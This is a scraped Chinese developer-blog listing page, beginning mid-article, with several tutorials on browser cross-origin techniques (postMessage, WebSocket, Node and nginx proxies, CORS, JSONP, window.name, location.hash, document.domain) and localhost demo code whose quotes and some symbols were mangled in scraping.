iframe.contentWindow.postMessage(JSON.stringify(data), ‘http://localhost:4000’); }; // 接收b.html回过来的消息 window.onmessage = function(e){ console.log(e.data) } }</script></body></html><!– b.html 文件 –><!DOCTYPE html><html lang=“en”><head> <meta charset=“UTF-8”> <title></title></head><body><h1>BBBBBBBBB</h1><script> window.addEventListener(‘message’, function(e) { console.log(‘data from domain1 —> ’ + e.data); let data = JSON.parse(e.data); if (data) { data.number = 16; // 处理后再发回domain1 window.parent.postMessage(JSON.stringify(data), ‘http://127.0.0.1:8080’); } }, false);</script></body></html>2.3、websocketWebSocket protocol是HTML5一种新的协议。它实现了浏览器与服务器全双工通信,同时允许跨域通讯,是server push技术的一种很好的实现。原生WebSocket API使用起来不太方便,我们使用Socket.io,它很好地封装了webSocket接口,提供了更简单、灵活的接口,也对不支持webSocket的浏览器提供了向下兼容。<!– index.html 文件 –><!DOCTYPE html><html lang=“en”><head> <meta charset=“UTF-8”> <title></title></head><body><div>user input:<input type=“text”></div><script src=“https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.2.0/socket.io.dev.js"></script><script> var socket = io(‘http://127.0.0.1:8080’); // 连接成功处理 socket.on(‘connect’, function() { // 监听服务端消息 socket.on(‘message’, function(msg) { console.log(‘data from server: —> ’ + msg); }); // 监听服务端关闭 socket.on(‘disconnect’, function() { console.log(‘Server socket has closed.’); }); }); document.getElementsByTagName(‘input’)[0].onblur = function() { socket.send(this.value); };</script></body></html>node服务端文件var http = require(‘http’);var socket = require(‘socket.io’);// 启http服务var server = http.createServer(function(req, res) { res.writeHead(200, { ‘Content-type’: ’text/html’ }); res.end();});server.listen(‘8080’);console.log(‘Server is running at port 8080…’);// 监听socket连接socket.listen(server).on(‘connection’, function(client) { // 接收信息 client.on(‘message’, function(msg) { client.send(‘hello:’ + msg); console.log(‘data from client: —> ’ + msg); }); // 断开处理 client.on(‘disconnect’, function() { console.log(‘Client socket has closed.’); });});2.4、Node中间件代理实现原理:同源策略是浏览器需要遵循的标准,而如果是服务器向服务器请求就无需遵循同源策略。主要访问路径客户端发出请求代理服务接受客户端请求 。大理服务将请求 转发给应用服务器。应用服务器接收到请求代理服务器求情 ,响应数据。代理服务器将响应数据转发给客户端。实现代码:前端代码示例:<!– index.html 文件 –><!DOCTYPE html><html lang=“en”><head> <meta charset=“UTF-8”> <title></title></head><body><h1>1111</h1><script src=“https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script><script> $.ajax({ url: ‘http://127.0.0.1:3000/login?user=admin&password=123’, success: function(result) { console.log(result) }, error: function(msg) { console.log(msg) } })</script></body></html>代理服务器var express = require(’express’);var proxy = require(‘http-proxy-middleware’);var app = express();var options = { dotfiles: ‘ignore’, etag: false, extensions: [‘htm’, ‘html’], index: false, maxAge: ‘1d’, redirect: false, setHeaders: function (res, path, stat) { res.set(‘x-timestamp’, Date.now()) }}app.use(express.static(‘public’, options))app.use(’/’, proxy({ // 代理跨域目标接口 target: ‘http://127.0.0.1:4000’, changeOrigin: true, // 修改响应头信息,实现跨域并允许带cookie onProxyRes: function(proxyRes, req, res) { res.header(‘Access-Control-Allow-Origin’, ‘http://127.0.0.1’); res.header(‘Access-Control-Allow-Credentials’, ’true’); }, // 修改响应信息中的cookie域名 cookieDomainRewrite: ‘127.0.0.1’ // 可以为false,表示不修改}));app.listen(3000);console.log(‘Proxy server is listen at port 3000…’);应用服务器// 服务器const http = require(“http”);const server = http.createServer();const qs = require(“querystring”);server.on(“request”, function(req, res) { var params = qs.parse(req.url.split(’?’)[1]); console.log(req.url, params); // 向前台写 cookie res.writeHead(200, { “Set-Cookie”: “l=a123456;Path=/;Domain=127.0.0.1;HttpOnly” // HttpOnly:脚本无法读取 }); res.write(JSON.stringify({ data: ‘I LOVE YOU’, …params })); res.end();});server.listen(“4000”);console.log(’listen 4000…’)最终效果2.5、nginx反向代理跨域原理: 同源策略是浏览器的安全策略,不是HTTP协议的一部分。服务器端调用HTTP接口只是使用HTTP协议,不会执行JS脚本,不需要同源策略,也就不存在跨越问题。实现思路:通过nginx配置一个代理服务器(域名与domain1相同,端口不同)做跳板机,反向代理访问domain2接口,并且可以顺便修改cookie中domain信息,方便当前域cookie写入,实现跨域登录。:通过nginx配置一个代理服务器(域名与domain1相同,端口不同)做跳板机,反向代理访问domain2接口,并且可以顺便修改cookie中domain信息,方便当前域cookie写入,实现跨域登录。nginx具体配置:#proxy服务器server { listen 81; server_name www.domain1.com; location / { proxy_pass http://www.domain2.com:8080; #反向代理 proxy_cookie_domain www.domain2.com www.domain1.com; #修改cookie里域名 index index.html index.htm; # 当用webpack-dev-server等中间件代理接口访问nignx时,此时无浏览器参与,故没有同源限制,下面的跨域配置可不启用 add_header Access-Control-Allow-Origin http://www.domain1.com; #当前端只跨域不带cookie时,可为 add_header Access-Control-Allow-Credentials true; }}Nodejs后台示例:var http = require(‘http’);var server = http.createServer();var qs = require(‘querystring’);server.on(‘request’, function(req, res) { var params = qs.parse(req.url.split(’?’)[1]); // 向前台写cookie res.writeHead(200, { ‘Set-Cookie’: ’l=a123456;Path=/;Domain=www.domain2.com;HttpOnly’ // HttpOnly:脚本无法读取 }); res.write(JSON.stringify(params)); res.end();});server.listen(‘8080’);console.log(‘Server is running at port 8080…’);前端代码示例:var xhr = new XMLHttpRequest();// 前端开关:浏览器是否读写cookiexhr.withCredentials = true;// 访问nginx中的代理服务器xhr.open(‘get’, ‘http://www.domain1.com:81/?user=admin', true);xhr.send();2.6、CORS普通跨域请求:只服务端设置Access-Control-Allow-Origin即可,前端无须设置,若要带cookie请求:前后端都需要设置。虽然设置 CORS 和前端没什么关系,但是通过这种方式解决跨域问题的话,会在发送请求时出现两种情况,分别为简单请求和复杂请求。简单请求只要同时满足以下两大条件,就属于简单请求1:使用下列方法之一:GET、HEAD、POST2:Content-Type 的值仅限于下列三者之一:text/plain、multipart/form-data、application/x-www-form-urlencoded复杂请求凡是不同时满足上面两个条件,就属于复杂请求。复杂请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求,该请求是 option 方法的,通过该请求来知道服务端是否允许跨域请求。我们用PUT向后台请求时,属于复杂请求,后台需做如下配置:// 允许哪个方法访问我res.setHeader(‘Access-Control-Allow-Methods’, ‘PUT’)// 预检的存活时间res.setHeader(‘Access-Control-Max-Age’, 6)// OPTIONS请求不做任何处理if (req.method === ‘OPTIONS’) { res.end() }// 定义后台返回的内容app.put(’/getData’, function(req, res) { console.log(req.headers) res.end(‘我不爱你’)})接下来我们看下一个完整复杂请求的例子,并且介绍下CORS请求相关的字段// index.htmllet xhr = new XMLHttpRequest()document.cookie = ’name=xiamen’ // cookie不能跨域xhr.withCredentials = true // 前端设置是否带cookiexhr.open(‘PUT’, ‘http://localhost:4000/getData’, true)xhr.setRequestHeader(’name’, ‘xiamen’)xhr.onreadystatechange = function() { if (xhr.readyState === 4) { if ((xhr.status >= 200 && xhr.status < 300) || xhr.status === 304) { console.log(xhr.response) //得到响应头,后台需设置Access-Control-Expose-Headers console.log(xhr.getResponseHeader(’name’)) } }}xhr.send()//server1.jslet express = require(’express’);let app = express();app.use(express.static(__dirname));app.listen(3000);//server2.jslet express = require(’express’)let app = express()let whitList = [‘http://localhost:3000’] //设置白名单app.use(function(req, res, next) { let origin = req.headers.origin if (whitList.includes(origin)) { // 设置哪个源可以访问我 res.setHeader(‘Access-Control-Allow-Origin’, origin) // 允许携带哪个头访问我 res.setHeader(‘Access-Control-Allow-Headers’, ’name’) // 允许哪个方法访问我 res.setHeader(‘Access-Control-Allow-Methods’, ‘PUT’) // 允许携带cookie res.setHeader(‘Access-Control-Allow-Credentials’, true) // 预检的存活时间 res.setHeader(‘Access-Control-Max-Age’, 6) // 允许返回的头 res.setHeader(‘Access-Control-Expose-Headers’, ’name’) if (req.method === ‘OPTIONS’) { res.end() // OPTIONS请求不做任何处理 } } next()})app.put(’/getData’, function(req, res) { console.log(req.headers) res.setHeader(’name’, ‘jw’) //返回一个响应头,后台需设置 res.end(‘我不爱你’)})app.get(’/getData’, function(req, res) { console.log(req.headers) res.end(‘我不爱你’)})app.use(express.static(__dirname))app.listen(4000)2.7、location name +iframe原理:window.name属性的独特之处:name值在不同的页面(甚至不同域名)加载后依旧存在。下面a.html和b.html是同域的,都是http://localhost:3000;而c.html是http://localhost:4000// a.html(http://localhost:3000/b.html) <iframe src=“http://localhost:4000/c.html” frameborder=“0” onload=“load()” id=“iframe”></iframe> <script> let first = true // onload事件会触发2次,第1次加载跨域页,并留存数据于window.name function load() { if(first){ // 第1次onload(跨域页)成功后,切换到同域代理页面 let iframe = document.getElementById(‘iframe’); iframe.src = ‘http://localhost:3000/b.html’; first = false; }else{ // 第2次onload(同域b.html页)成功后,读取同域window.name中数据 console.log(iframe.contentWindow.name); } } </script>b.html为中间代理页,与a.html同域,内容为空。c页面 // c.html(http://localhost:4000/c.html) <script> window.name = ‘我不爱你’ </script>总结:通过iframe的src属性由外域转向本地域,跨域数据即由iframe的window.name从外域传递到本地域。这个就巧妙地绕过了浏览器的跨域访问限制,但同时它又是安全操作。2.8、document. hash + iframe实现原理: a.html欲与c.html跨域相互通信,通过中间页b.html来实现。 三个页面,不同域之间利用iframe的location.hash传值,相同域之间直接js访问来通信。具体实现步骤:一开始a.html给c.html传一个hash值,然后c.html收到hash值后,再把hash值传递给b.html,最后b.html将结果放到a.html的hash值中。同样的,a.html和b.html是同域的,都是http://localhost:3000;而c.html是http://localhost:4000 // a.html <iframe src=“http://localhost:4000/c.html#iloveyou”></iframe> <script> window.onhashchange = function () { //检测hash的变化 console.log(location.hash); } </script> // b.html <script> window.parent.parent.location.hash = location.hash //b.html将结果放到a.html的hash值中,b.html可通过parent.parent访问a.html页面 </script> // c.html console.log(location.hash); let iframe = document.createElement(‘iframe’); iframe.src = ‘http://localhost:3000/b.html#idontloveyou’; document.body.appendChild(iframe);2.9、 document.domain + iframe实现原理:两个页面都通过js强制设置document.domain为基础主域,就实现了同域。该方式只能用于二级域名相同的情况下,比如 a.test.com 和 b.test.com 适用于该方式。 只需要给页面添加 document.domain =‘test.com’ 表示二级域名都相同就可以实现跨域。我们看个例子:页面a.zf1.cn:3000/a.html获取页面b.zf1.cn:3000/b.html中a的值// a.html<body> helloa <iframe src=“http://b.zf1.cn:3000/b.html" frameborder=“0” onload=“load()” id=“frame”></iframe> <script> document.domain = ‘zf1.cn’ function load() { console.log(frame.contentWindow.a); } </script></body>// b.html<body> hellob <script> document.domain = ‘zf1.cn’ var a = 100; </script></body>3、总结日常工作中,用得比较多的跨域方案是cors和nginx反向代理CORS支持所有类型的HTTP请求,是跨域HTTP请求的根本解决方案不管是Node中间件代理还是nginx反向代理,主要是通过同源策略对服务器不加限制。SONP只支持GET请求,JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。后续更多文章将在我的github第一时间发布,欢迎关注。参考浏览器同源政策及其规避方法跨域资源共享 CORS 详解前端常见跨域解决方案(全) ...

April 14, 2019 · 4 min · jiezi

JavaScript 关于'跨域'问题的延伸-CORS

同源策略在web浏览器中,同源策略 限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。如果两个页面的 1.协议 2.端口(如果有指定)3.域名都相同,则两个页面具有相同的源。举例说明 http://store.example.com/dir/page.html 同源检测的示例:URL结果原因http://store.example.com/index.html成功 http://store.example.com/dir/another.html成功 https://store.example.com/index.html失败不同协议 ( https和http )http://store.example.com:81/index.html失败不同端口 ( 81和80)http://news.example.com/index.html失败不同域名 ( news和store )跨源场景:跨源网络访问 同源策略控制了不同源之间的交互。 问:如何允许跨源访问?答:使用 CORS 允许跨源访问。场景: 由浏览器发起的跨域 HTTP 请求都用的这个,例如大部分的前端发出接口请求跨源脚本API访问 Javascript的APIs中,允许文档间直接相互引用。但是当两个文档的源不同时,一些引用方式将对 API对象的访问添加限制 为了在不同源中文档进一步交流,可以使用window.postMessage场景: 例如<iframe>嵌套的时候,父子页面的通信跨源数据存储访问 存储在浏览器中的数据,如localStorage和IndexedDB,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。了解CORSCORS是什么?MDN的网站给出了这样的解释:CORS (Cross-Origin Resource Sharing,跨域资源共享)是一个系统,它由一系列传输的HTTP头组成,这些HTTP头决定浏览器是否阻止前端 JavaScript 代码获取跨域请求的响应。 CORS 给了web服务器这样的权限,即服务器可以选择,允许跨域请求访问到它们的资源。可以这样理解:CORS赋予服务端(通常所说的后端)一个权力,让它可以自己控制哪一些浏览器的请求可以访问到它的资源,来解决跨域问题。附:所有的 CORS 头HTTP头功能Access-Control-Allow-Origin指示请求的资源能共享给哪些域。Access-Control-Allow-Credentials指示当请求的凭证标记为 true 时,是否响应该请求。Access-Control-Allow-Headers用在对预请求的响应中,指示实际的请求中可以使用哪些 HTTP 头。Access-Control-Allow-Methods指定对预请求的响应中,哪些 HTTP 方法允许访问请求的资源。Access-Control-Expose-Headers指示哪些 HTTP 头的名称能在响应中列出。Access-Control-Max-Age指示预请求的结果能被缓存多久。Access-Control-Request-Headers用于发起一个预请求,告知服务器正式请求会使用那些 HTTP 头。Access-Control-Request-Method用于发起一个预请求,告知服务器正式请求会使用哪一种 HTTP 请求方法。Origin指示获取资源的请求是从什么域发起的。CORS 功能概述TL;DR规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。一句话概述:非简单请求时,会先发送预检请求,允许后再发送实际请求附:node-express框架下,服务端的跨域设置app.all(’’, function (req, res, next) { res.header(‘Access-Control-Allow-Origin’, ‘’); res.header(‘Access-Control-Allow-Headers’, ‘Content-Type’); res.header(‘Access-Control-Allow-Methods’, ‘*’); next();});CORS 关于CookieCORS请求默认不发送Cookie和HTTP认证信息,如果想要知道用cookie就要注意3点Client端 new XMLHttpRequest() 中 withCredentials 设置为 trueSerive端 HTTP头 Access-Control-Allow-Credentials 设置为 trueSerive端 HTTP头 Access-Control-Allow-Origin 不能设为星号,必须指定明确的、与请求网页一致的域名所以上面的例子要想发送cookie// service端res.header('Access-Control-Allow-Credentials', true);``res.header('Access-Control-Allow-Origin', '具体的域名');// client端Jquery ajax() xhrFields: {withCredentials: true}Axios axios.defaults.withCredentials = trueCORS 的简单请求上面讲了简单请求,但那些才是简单请求呢?答:若不会触发 CORS 的预检请求,称这样的请求为“简单请求”以下为简单请求:HTTP Method 组成只能是以下几种GETPOSTHEADHTTP Headers 组成AcceptAccept-LanguageContent-LanguageLast-Event-IDContent-Type 只包含以下类型 (form表单请求)application/x-www-form-urlencodedmultipart/form-datatext/plain注:只有同时满足以上两个条件时,才是简单请求,否则为非简单请求CORS 预检请求又是什么?前面说了这么多预检请求,我们来讲一讲什么是预检请求:如果我们在client端发送请求时,例如:// 原生var invocation = new XMLHttpRequest();invocation.setRequestHeader(‘X-EXAMPLE’, ‘xixihaha’);invocation.setRequestHeader(‘Content-Type’, ‘application/xml’);// axiosaxios.defaults.headers[‘X-EXAMPLE’] = ‘xixihaha’;axios.defaults.headers[‘Content-Type’] = ‘application/xml’;POST 请求发送一个 XML 文档,该请求包含了一个自定义的请求首部字段(X-EXAMPLE: xixihaha)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。server端 的HTTP头设置Access-Control-Allow-Origin: ‘具体的域名’Access-Control-Allow-Methods: POST, GET, OPTIONS // 可包含的参数Access-Control-Allow-Headers: X-PINGOTHER, Content-Type // 允许的首部字段Access-Control-Max-Age: 86400非简单请求和简单请求无异,如果浏览器的预检请求被服务器接受,则发送实际请求,未被接受则拒绝请求。其他JSONP动态创建script标签,然后利用script的src 不受同源策略约束来跨域获取数据function addScriptTag() { var script = document.createElement(“script”); script.src = “http://foo.example?callback=handleResponse"; document.body.appendChild(script);}function handleResponse() { console.log(‘跨域数据’);};以下跨域方案不做过多解释上文提到的 postMessage()nginx转发,即架设服务器代理window.namedocument.domain 参考阮一峰的网络日志MDN web docs CORS ...

March 6, 2019 · 1 min · jiezi

九种跨域方式实现原理

前言前后端数据交互经常会碰到请求跨域,什么是跨域,以及有哪几种跨域方式,这是本文要探讨的内容。一、什么是跨域?1.什么是同源策略及其限制内容?同源策略是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击。所谓同源是指”协议+域名+端口”三者相同,即便两个不同的域名指向同一个ip地址,也非同源。 同源策略限制内容有:Cookie、LocalStorage、IndexedDB 等存储性内容DOM 节点AJAX 请求发送后,结果被浏览器拦截了但是有三个标签是允许跨域加载资源<img src=XXX><link href=XXX><script src=XXX>2.常见跨域场景当协议、子域名、主域名、端口号中任意一个不相同时,都算作不同域。不同域之间相互请求资源,就算作“跨域”。常见跨域场景如下图所示: 特别说明两点:第一:如果是协议和端口造成的跨域问题“前台”是无能为力的。第二:在跨域问题上,仅仅是通过“URL的首部”来识别而不会根据域名对应的IP地址是否相同来判断。“URL的首部”可以理解为“协议, 域名和端口必须匹配”。这里你或许有个疑问:请求跨域了,那么请求到底发出去没有?跨域并不是请求发不出去,请求能发出去,服务端能收到请求并正常返回结果,只是结果被浏览器拦截了。你可能会疑问明明通过表单的方式可以发起跨域请求,为什么 Ajax 就不会?因为归根结底,跨域是为了阻止用户读取到另一个域名下的内容,Ajax 可以获取响应,浏览器认为这不安全,所以拦截了响应。但是表单并不会获取新的内容,所以可以发起跨域请求。同时也说明了跨域并不能完全阻止 CSRF,因为请求毕竟是发出去了。二、跨域解决方案1.jsonp1) JSONP原理利用<script> 标签没有跨域限制的漏洞,网页可以得到从其他来源动态产生的 JSON 数据。JSONP请求一定需要对方的服务器做支持才可以。2) JSONP和AJAX对比JSONP和AJAX相同,都是客户端向服务器端发送请求,从服务器端获取数据的方式。但AJAX属于同源策略,JSONP属于非同源策略(跨域请求)3) JSONP优缺点JSONP优点是简单兼容性好,可用于解决主流浏览器的跨域数据访问的问题。缺点是仅支持get方法具有局限性,不安全可能会遭受XSS攻击。4) JSONP的实现流程声明一个回调函数,其函数名(如show)当做参数值,要传递给跨域请求数据的服务器,函数形参为要获取目标数据(服务器返回的data)。创建一个<script>标签,把那个跨域的API数据接口地址,赋值给script的src,还要在这个地址中向服务器传递该函数名(可以通过问号传参:?callback=show)。服务器接收到请求后,需要进行特殊的处理:把传递进来的函数名和它需要给你的数据拼接成一个字符串,例如:传递进去的函数名是show,它准备好的数据是show(‘我不爱你’)。最后服务器把准备的数据通过HTTP协议返回给客户端,客户端再调用执行之前声明的回调函数(show),对返回的数据进行操作。在开发中可能会遇到多个 JSONP 请求的回调函数名是相同的,这时候就需要自己封装一个 JSONP函数。// index.htmlfunction jsonp({ url, params, callback }) { return new Promise((resolve, reject) => { let script = document.createElement(‘script’) window[callback] = function(data) { resolve(data) document.body.removeChild(script) } params = { …params, callback } // wd=b&callback=show let arrs = [] for (let key in params) { arrs.push(${key}=${params[key]}) } script.src = ${url}?${arrs.join('&amp;')} document.body.appendChild(script) })}jsonp({ url: ‘http://localhost:3000/say’, params: { wd: ‘Iloveyou’ }, callback: ‘show’}).then(data => { console.log(data)})上面这段代码相当于向http://localhost:3000/say?wd=Iloveyou&callback=show这个地址请求数据,然后后台返回show(‘我不爱你’),最后会运行show()这个函数,打印出’我不爱你’// server.jslet express = require(’express’)let app = express()app.get(’/say’, function(req, res) { let { wd, callback } = req.query console.log(wd) // Iloveyou console.log(callback) // show res.end(${callback}('我不爱你'))})app.listen(3000)5) jQuery的jsonp形式JSONP都是GET和异步请求的,不存在其他的请求方式和同步请求,且jQuery默认就会给JSONP的请求清除缓存。$.ajax({url:“http://crossdomain.com/jsonServerResponse",dataType:"jsonp",type:"get",//可以省略jsonpCallback:“show”,//->自定义传递给服务器的函数名,而不是使用jQuery自动生成的,可省略jsonp:“callback”,//->把传递函数名的那个形参callback,可省略success:function (data){console.log(data);}});2.corsCORS 需要浏览器和后端同时支持。IE 8 和 9 需要通过 XDomainRequest 来实现。浏览器会自动进行 CORS 通信,实现 CORS 通信的关键是后端。只要后端实现了 CORS,就实现了跨域。服务端设置 Access-Control-Allow-Origin 就可以开启 CORS。 该属性表示哪些域名可以访问资源,如果设置通配符则表示所有网站都可以访问资源。虽然设置 CORS 和前端没什么关系,但是通过这种方式解决跨域问题的话,会在发送请求时出现两种情况,分别为简单请求和复杂请求。1) 简单请求只要同时满足以下两大条件,就属于简单请求条件1:使用下列方法之一:GETHEADPOST条件2:Content-Type 的值仅限于下列三者之一:text/plainmultipart/form-dataapplication/x-www-form-urlencoded请求中的任意 XMLHttpRequestUpload 对象均没有注册任何事件监听器; XMLHttpRequestUpload 对象可以使用 XMLHttpRequest.upload 属性访问。2) 复杂请求不符合以上条件的请求就肯定是复杂请求了。 复杂请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为”预检”请求,该请求是 option 方法的,通过该请求来知道服务端是否允许跨域请求。我们用PUT向后台请求时,属于复杂请求,后台需做如下配置:// 允许哪个方法访问我res.setHeader(‘Access-Control-Allow-Methods’, ‘PUT’)// 预检的存活时间res.setHeader(‘Access-Control-Max-Age’, 6)// OPTIONS请求不做任何处理if (req.method === ‘OPTIONS’) { res.end() }// 定义后台返回的内容app.put(’/getData’, function(req, res) { console.log(req.headers) res.end(‘我不爱你’)})接下来我们看下一个完整复杂请求的例子,并且介绍下CORS请求相关的字段// index.htmllet xhr = new XMLHttpRequest()document.cookie = ’name=xiamen’ // cookie不能跨域xhr.withCredentials = true // 前端设置是否带cookiexhr.open(‘PUT’, ‘http://localhost:4000/getData’, true)xhr.setRequestHeader(’name’, ‘xiamen’)xhr.onreadystatechange = function() { if (xhr.readyState === 4) { if ((xhr.status >= 200 && xhr.status < 300) || xhr.status === 304) { console.log(xhr.response) //得到响应头,后台需设置Access-Control-Expose-Headers console.log(xhr.getResponseHeader(’name’)) } }}xhr.send()//server1.jslet express = require(’express’);let app = express();app.use(express.static(__dirname));app.listen(3000);//server2.jslet express = require(’express’)let app = express()let whitList = [‘http://localhost:3000’] //设置白名单app.use(function(req, res, next) { let origin = req.headers.origin if (whitList.includes(origin)) { // 设置哪个源可以访问我 res.setHeader(‘Access-Control-Allow-Origin’, origin) // 允许携带哪个头访问我 res.setHeader(‘Access-Control-Allow-Headers’, ’name’) // 允许哪个方法访问我 res.setHeader(‘Access-Control-Allow-Methods’, ‘PUT’) // 允许携带cookie res.setHeader(‘Access-Control-Allow-Credentials’, true) // 预检的存活时间 res.setHeader(‘Access-Control-Max-Age’, 6) // 允许返回的头 res.setHeader(‘Access-Control-Expose-Headers’, ’name’) if (req.method === ‘OPTIONS’) { res.end() // OPTIONS请求不做任何处理 } } next()})app.put(’/getData’, function(req, res) { console.log(req.headers) res.setHeader(’name’, ‘jw’) //返回一个响应头,后台需设置 res.end(‘我不爱你’)})app.get(’/getData’, function(req, res) { console.log(req.headers) res.end(‘我不爱你’)})app.use(express.static(__dirname))app.listen(4000)上述代码由http://localhost:3000/index.html向http://localhost:4000/跨域请求,正如我们上面所说的,后端是实现 CORS 通信的关键。3.postMessagepostMessage是HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window属性之一,它可用于解决以下方面的问题:页面和其打开的新窗口的数据传递多窗口之间消息传递页面与嵌套的iframe消息传递上面三个场景的跨域数据传递postMessage()方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递。otherWindow.postMessage(message, targetOrigin, [transfer]);message: 将要发送到其他 window的数据。targetOrigin:通过窗口的origin属性来指定哪些窗口能接收到消息事件,其值可以是字符串””(表示无限制)或者一个URI。在发送消息的时候,如果目标窗口的协议、主机地址或端口这三者的任意一项不匹配targetOrigin提供的值,那么消息就不会被发送;只有三者完全匹配,消息才会被发送。transfer(可选):是一串和message 同时传递的 Transferable 对象. 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。接下来我们看个例子: http://localhost:3000/a.html页面向http://localhost:4000/b.html传递“我爱你”,然后后者传回”我不爱你”。// a.html <iframe src=“http://localhost:4000/b.html” frameborder=“0” id=“frame” onload=“load()"></iframe> //等它加载完触发一个事件 //内嵌在http://localhost:3000/a.html <script> function load() { let frame = document.getElementById(‘frame’) frame.contentWindow.postMessage(‘我爱你’, ‘http://localhost:4000’) //发送数据 window.onmessage = function(e) { //接受返回数据 console.log(e.data) //我不爱你 } } </script>// b.html window.onmessage = function(e) { console.log(e.data) //我爱你 e.source.postMessage(‘我不爱你’, e.origin) }4.websocketWebsocket是HTML5的一个持久化的协议,它实现了浏览器与服务器的全双工通信,同时也是跨域的一种解决方案。WebSocket和HTTP都是应用层协议,都基于 TCP 协议。但是 WebSocket 是一种双向通信协议,在建立连接之后,WebSocket 的 server 与 client 都能主动向对方发送或接收数据。同时,WebSocket 在建立连接时需要借助 HTTP 协议,连接建立好了之后 client 与 server 之间的双向通信就与 HTTP 无关了。原生WebSocket API使用起来不太方便,我们使用Socket.io,它很好地封装了webSocket接口,提供了更简单、灵活的接口,也对不支持webSocket的浏览器提供了向下兼容。我们先来看个例子:本地文件socket.html向localhost:3000发生数据和接受数据// socket.html<script> let socket = new WebSocket(‘ws://localhost:3000’); socket.onopen = function () { socket.send(‘我爱你’);//向服务器发送数据 } socket.onmessage = function (e) { console.log(e.data);//接收服务器返回的数据 }</script>// server.jslet express = require(’express’);let app = express();let WebSocket = require(‘ws’);//记得安装wslet wss = new WebSocket.Server({port:3000});wss.on(‘connection’,function(ws) { ws.on(‘message’, function (data) { console.log(data); ws.send(‘我不爱你’) });})5. Node中间件代理(两次跨域)实现原理:同源策略是浏览器需要遵循的标准,而如果是服务器向服务器请求就无需遵循同源策略。 代理服务器,需要做以下几个步骤:接受客户端请求 。将请求 转发给服务器。拿到服务器 响应 数据。将 响应 转发给客户端。 我们先来看个例子:本地文件index.html文件,通过代理服务器http://localhost:3000向目标服务器http://localhost:4000请求数据。// index.html(http://127.0.0.1:5500) <script src=“https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script> <script> $.ajax({ url: ‘http://localhost:3000’, type: ‘post’, data: { name: ‘xiamen’, password: ‘123456’ }, contentType: ‘application/json;charset=utf-8’, success: function(result) { console.log(result) // {“title”:“fontend”,“password”:“123456”} }, error: function(msg) { console.log(msg) } }) </script> // server1.js 代理服务器(http://localhost:3000)const http = require(‘http’)// 第一步:接受客户端请求const server = http.createServer((request, response) => { // 代理服务器,直接和浏览器直接交互,需要设置CORS 的首部字段 response.writeHead(200, { ‘Access-Control-Allow-Origin’: ‘’, ‘Access-Control-Allow-Methods’: ‘’, ‘Access-Control-Allow-Headers’: ‘Content-Type’ }) // 第二步:将请求转发给服务器 const proxyRequest = http .request( { host: ‘127.0.0.1’, port: 4000, url: ‘/’, method: request.method, headers: request.headers }, serverResponse => { // 第三步:收到服务器的响应 var body = ’’ serverResponse.on(‘data’, chunk => { body += chunk }) serverResponse.on(’end’, () => { console.log(‘The data is ’ + body) // 第四步:将响应结果转发给浏览器 response.end(body) }) } ) .end()})server.listen(3000, () => { console.log(‘The proxyServer is running at http://localhost:3000’)})// server2.js(http://localhost:4000)const http = require(‘http’)const data = { title: ‘fontend’, password: ‘123456’ }const server = http.createServer((request, response) => { if (request.url === ‘/’) { response.end(JSON.stringify(data)) }})server.listen(4000, () => { console.log(‘The server is running at http://localhost:4000’)})上述代码经过两次跨域,值得注意的是浏览器向代理服务器发送请求,也遵循同源策略,最后在index.html文件打印出{“title”:“fontend”,“password”:“123456”}6.nginx反向代理实现原理类似于Node中间件代理,需要你搭建一个中转nginx服务器,用于转发请求。使用nginx反向代理实现跨域,是最简单的跨域方式。只需要修改nginx的配置即可解决跨域问题,支持所有浏览器,支持session,不需要修改任何代码,并且不会影响服务器性能。实现思路:通过nginx配置一个代理服务器(域名与domain1相同,端口不同)做跳板机,反向代理访问domain2接口,并且可以顺便修改cookie中domain信息,方便当前域cookie写入,实现跨域登录。先下载nginx,然后将nginx目录下的nginx.conf修改如下:// proxy服务器server { listen 80; server_name www.domain1.com; location / { proxy_pass http://www.domain2.com:8080; #反向代理 proxy_cookie_domain www.domain2.com www.domain1.com; #修改cookie里域名 index index.html index.htm; # 当用webpack-dev-server等中间件代理接口访问nignx时,此时无浏览器参与,故没有同源限制,下面的跨域配置可不启用 add_header Access-Control-Allow-Origin http://www.domain1.com; #当前端只跨域不带cookie时,可为 add_header Access-Control-Allow-Credentials true; }}最后通过命令行nginx -s reload启动nginx// index.htmlvar xhr = new XMLHttpRequest();// 前端开关:浏览器是否读写cookiexhr.withCredentials = true;// 访问nginx中的代理服务器xhr.open(‘get’, ‘http://www.domain1.com:81/?user=admin', true);xhr.send();// server.jsvar http = require(‘http’);var server = http.createServer();var qs = require(‘querystring’);server.on(‘request’, function(req, res) { var params = qs.parse(req.url.substring(2)); // 向前台写cookie res.writeHead(200, { ‘Set-Cookie’: ’l=a123456;Path=/;Domain=www.domain2.com;HttpOnly’ // HttpOnly:脚本无法读取 }); res.write(JSON.stringify(params)); res.end();});server.listen(‘8080’);console.log(‘Server is running at port 8080…’);7.window.name + iframewindow.name属性的独特之处:name值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name 值(2MB)。其中a.html和b.html是同域的,都是http://localhost:3000;而c.html是http://localhost:4000 // a.html(http://localhost:3000/b.html) <iframe src=“http://localhost:4000/c.html” frameborder=“0” onload=“load()” id=“iframe”></iframe> <script> let first = true // 